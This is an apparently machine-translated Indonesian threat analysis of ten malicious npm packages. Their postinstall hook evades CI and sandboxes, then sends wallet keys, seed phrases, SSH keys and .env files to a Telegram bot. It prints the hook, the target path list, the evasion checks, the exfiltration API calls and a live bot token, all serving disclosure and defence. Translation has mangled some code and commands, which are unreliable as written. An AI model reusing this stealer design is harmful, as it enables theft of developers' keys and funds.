SeedSweep: Sepuluh Paket Kripto npm Berbahaya

SeedSweep: Sepuluh Paket npm Bertema Kripto yang Hanya Berjalan Saat Tidak Ada yang Melihat

TL; DR

Pada tanggal 9 Juni 2026, sebuah akun penerbit npm tunggal, aicrypto-xzgggdikirim sepuluh paket dengan nama-nama bernuansa kripto dan Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, dan enam lagi.

Setiap paket menjalankan muatan (payload) yang sama dari sebuah postinstall Saat instalasi, ia memeriksa apakah berjalan di dalam CI atau sandbox — jika tidak, ia membaca keystore dompet, file seed-phrase, kunci SSH, dan .env mengumpulkan file dari enam ekosistem blockchain yang berbeda dan mengirimkannya ke bot Telegram.

Satu-satunya indikator yang dapat langsung dicari oleh seorang pemain bertahan adalah ID bot Telegram. 8227918239.

Kerasnya: kritis — pencurian langsung kunci penandatanganan dan frasa pemulihan dari stasiun kerja pengembang.

Serangan: Bagaimana Cara Kerjanya

Paket-paket tersebut mengiklankan diri sebagai utilitas pengembang blockchain. package.json bersifat minimal dan mengarahkan siklus instalasi ke sebuah skrip:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js adalah shim satu baris yang memuat muatan sebenarnya: memerlukan(“../src/index.js”). Karena pascainstal berjalan secara otomatis selama instalasi npmTidak diperlukan impor kode oleh pengembang — cukup dengan menempatkan paket tersebut dalam pohon dependensi untuk menjalankannya.

Rantai pembunuhan di dalam src/index.js terdiri dari empat langkah:

  1. Pemeriksaan lingkungan. Fungsi penjaga menentukan apakah host tersebut terlihat seperti agen pembangunan atau lingkungan pengujian analisis.
  2. Menunda. Eksekusi ditunda di balik sebuah atur waktu habis sekitar 7.4 detik.
  3. Koleksi. Daftar jalur file dompet, kunci, dan rahasia yang tetap akan ditelusuri; file yang sudah ada akan dimasukkan ke dalam antrian.
  4. Eksfiltrasi. Berkas yang antri dikirim ke bot Telegram, didahului oleh pesan ringkasan.

Daftar target koleksi mencakup enam rantai ditambah rahasia pengembang generik. Dipangkas:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Total ada dua puluh satu jalur. Entri direktori seperti ~/.ethereum/keystore diperluas dan setiap file di dalamnya dimasukkan ke dalam antrian. Eksfiltrasi menggunakan API Bot Telegram secara langsung — sebuah kirimPesan panggilan dengan ringkasan host dan file, lalu sebuah kirim dokumen Unggahan multi-bagian untuk setiap file:

teks

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Pesan ringkasan yang disusun oleh kode tersebut dimulai dengan string literal. PENCURI KRIPTO, diikuti oleh nama host, nama pengguna, nama paket asal, jumlah file, dan stempel waktu.

Apa yang baru di sini?

Yang membedakannya bukanlah mekanisme pencurian — eksfiltrasi berbasis Telegram dari npm. pascainstal hooks sudah sering dilalui. Ini adalah gerbang eksekusi. Sebelum melakukan apa pun, payload memanggil sebuah fungsi yang mengembalikan nilai true ketika host menyerupai CI runner atau sandbox, dan mengembalikan nilai lebih awal ketika hal itu terjadi:

teks

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Ekspresi reguler ID kontainer adalah klausa yang penting: nama host 12 karakter heksadesimal adalah bentuk default yang diberikan Docker kepada sebuah kontainer. wadahJadi, muatan tersebut memperlakukan "nama host saya terlihat seperti kontainer Docker" sebagai alasan untuk tetap tidak aktif. Dikombinasikan dengan penundaan tujuh detik, desain ini lebih mengutamakan berjalan di workstation asli pengembang dan tetap tidak aktif di mana pun yang terlihat seperti analisis otomatis. Gerbang itulah yang menekan sinyal analisis dinamis dan menjaga aliran eksfiltrasi statis sebagai bukti utama untuk menjatuhkan hukuman.

Perusahaan

Tanggal (UTC) Acara
2026-06-09 ~02:48 Paket pertama dalam klaster ditandai pada saat publikasi (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Anggota versi lebih tinggi ditandai (ethereum-kit-9 di 1.25.36, wallet-sdk-9 pada pukul 3.7.73)
2026-06-09 ~03:58–03:59 Anggota terakhir ditandai (defi-tools-39 di 4.26.29, swap-sdk-87 di 4.63.78, farming-tools-12 pada pukul 4.68.54)
2026-06-09 Kesepuluh item tersebut diklasifikasikan sebagai berbahaya dan dilaporkan untuk dihapus dari registri.

Kesepuluhnya muncul dalam waktu sekitar tujuh puluh menit, sesuai dengan satu kali proses penerbitan yang telah direncanakan dari satu akun.

Indikator Kompromi

Indikator jaringan dan perilaku (host dinonaktifkan):

Indikator Nilai
Titik akhir eksfil api[.]telegram[.]org (API Bot Telegram)
ID bot Telegram 8227918239
Token bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID obrolan Telegram 6433587894
Pasang pengait postinstallscripts/postinstall.jssrc/index.js
Tali penanda CRYPTO STEALER dalam pesan ringkasan yang disusun
Publisher aicrypto-xzggg (email yang disebutkan) vipsyria88@gmail[.]com(belum terverifikasi)

Paket dan versi, masing-masing dengan SHA-256-nya. src/index.js payload (payload tersebut secara fungsional identik dan hanya berbeda pada label nama paket yang tertanam, sehingga setiap hash berbeda):

html
Paket Versi SHA-256 dari src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Sebuah kueri pencarian sederhana: cari log instalasi dan file lock untuk salah satu dari sepuluh nama tersebut, dan cari lalu lintas keluar untuk koneksi ke Telegram Bot API dari host build atau pengembang yang tidak menggunakannya.

Atribusi & Perilaku yang Diamati

Kesepuluh paket tersebut diterbitkan oleh satu akun, aicrypto-xzggg, yang alamat email resminya adalah vipsyria88@gmail.comBaik email maupun tautan kontrol sumber tidak terverifikasi dalam metadata registri, dan akun tersebut memiliki skor reputasi yang sangat negatif. Kami belum mengkonfirmasi siapa yang mengoperasikan akun tersebut.

Ada dua detail yang perlu dipisahkan dari klaim identitas apa pun. Pertama, hal-hal berikut ini: package.json penulis bidang membaca Alex Smith pada setiap paket, sementara akun penerbitan sebenarnya adalah aicrypto-xzggg; kolom penulis adalah metadata yang dideklarasikan sendiri dan tidak menetapkan kepenulisan. Kedua, nomor versinya sangat bervariasi — beberapa anggota berada di 1.0.0, yang lain di 4.68.54 — yang konsisten dengan penggunaan kembali satu muatan data (payload) di berbagai nama paket yang baru dibuat, alih-alih mempertahankan riwayat rilis yang sebenarnya.

Perilakunya seragam di seluruh klaster: daftar jalur target yang sama, ID bot Telegram dan ID obrolan yang sama, gerbang lingkungan yang sama, dan seterusnya. PENCURI KRIPTO penanda. Keseragaman itulah yang menjadi penghubung terkuat antar paket. Ini adalah sinyal operator yang sama, bukan identitas.

Dampak, Tren & Panduan untuk Para Pembela

Kerentanannya nyata. Seorang pengembang yang menginstal salah satu paket ini pada workstation yang menyimpan dompet perangkat lunak, file frasa pemulihan, atau kunci SSH, akan menyebabkan file-file tersebut dibaca dan dikirimkan dari host dalam hitungan detik. Frasa pemulihan dan kunci penandatanganan tidak kedaluwarsa seperti token sesi; setelah mnemonic.txt atau Solana id.json Saat dana keluar dari mesin, dana yang dikendalikannya berisiko sampai dana tersebut dipindahkan. Proses yang sama juga mencakup .env berkas-berkas yang secara rutin berisi kunci API dan kredensial basis data.

Dua tren mendasari klaster ini. Pertama, penggunaan nama bertema kripto dan Web3 yang berkelanjutan untuk menarik audiens tertentu — pengembang yang menyimpan dompet dan kunci di mesin yang sama tempat mereka menginstal dependensi. Kedua, semakin matangnya penghindaran sandbox dalam payload saat instalasi. Gerbang yang memeriksa variabel lingkungan CI, nama pengguna runner, dan bentuk nama host ID kontainer Docker merupakan upaya yang disengaja untuk berperilaku berbeda saat dianalisis dibandingkan pada workstation sungguhan, dan hal ini meningkatkan standar untuk deteksi yang sepenuhnya dinamis.

Untuk para pemain bertahan:

Instal dengan skrip dinonaktifkan secara default. npm install –ignore-scripts, atau atur abaikan skrip=benar in .npmrc, mencegah pascainstal eksekusi; aktifkan skrip hanya untuk dependensi spesifik yang benar-benar membutuhkannya.

Pisahkan dompet dan kunci penandatanganan dari mesin pembuatan dan pengembangan. Gunakan dompet perangkat keras atau host penandatanganan khusus yang tidak bergantung pada pihak lain.

Memperlakukan .env, keystore, dan file seed-phrase sebagai aset berharga. File-file tersebut tidak boleh ditempatkan di direktori yang juga merupakan sebuah instalasi npm pohon kerja.

Cari koneksi keluar ke Telegram Bot API dari CI dan host pengembang. Sebagian besar lingkungan build tidak pernah memanggilnya; jika tiba-tiba memanggilnya, tepat setelah instalasi, patut diselidiki.

Sematkan dan tinjau dependensi. Paket baru dengan nama kripto generik, sebuah pascainstal kait, dan tidak ada tautan repositori yang perlu diperiksa sebelum masuk ke dalam lockfile.

Klausul penghindaran ID kontainer juga merupakan pengingat bagi analis: muatan saat instalasi yang tetap tidak aktif di dalam sandbox bukanlah hal yang tidak berbahaya, melainkan selektif. Tinjauan statis terhadap jalur instalasi tetap menjadi cara yang andal untuk melihat apa yang mungkin tidak ditampilkan oleh eksekusi dinamis.

Referensi

Dokumentasi npm install — skrip siklus hidup dan –Abaikan-skrip— referensi untuk menonaktifkan instalasi otomatis hooks. 

perangkat lunak analisis komposisi sca
Prioritaskan, perbaiki, dan amankan risiko perangkat lunak Anda.
Dapatkan Akun Gratis Anda.
Tidak perlu kartu kredit.

Amankan Pengembangan dan Pengiriman Perangkat Lunak Anda

dengan Rangkaian Produk Xygeni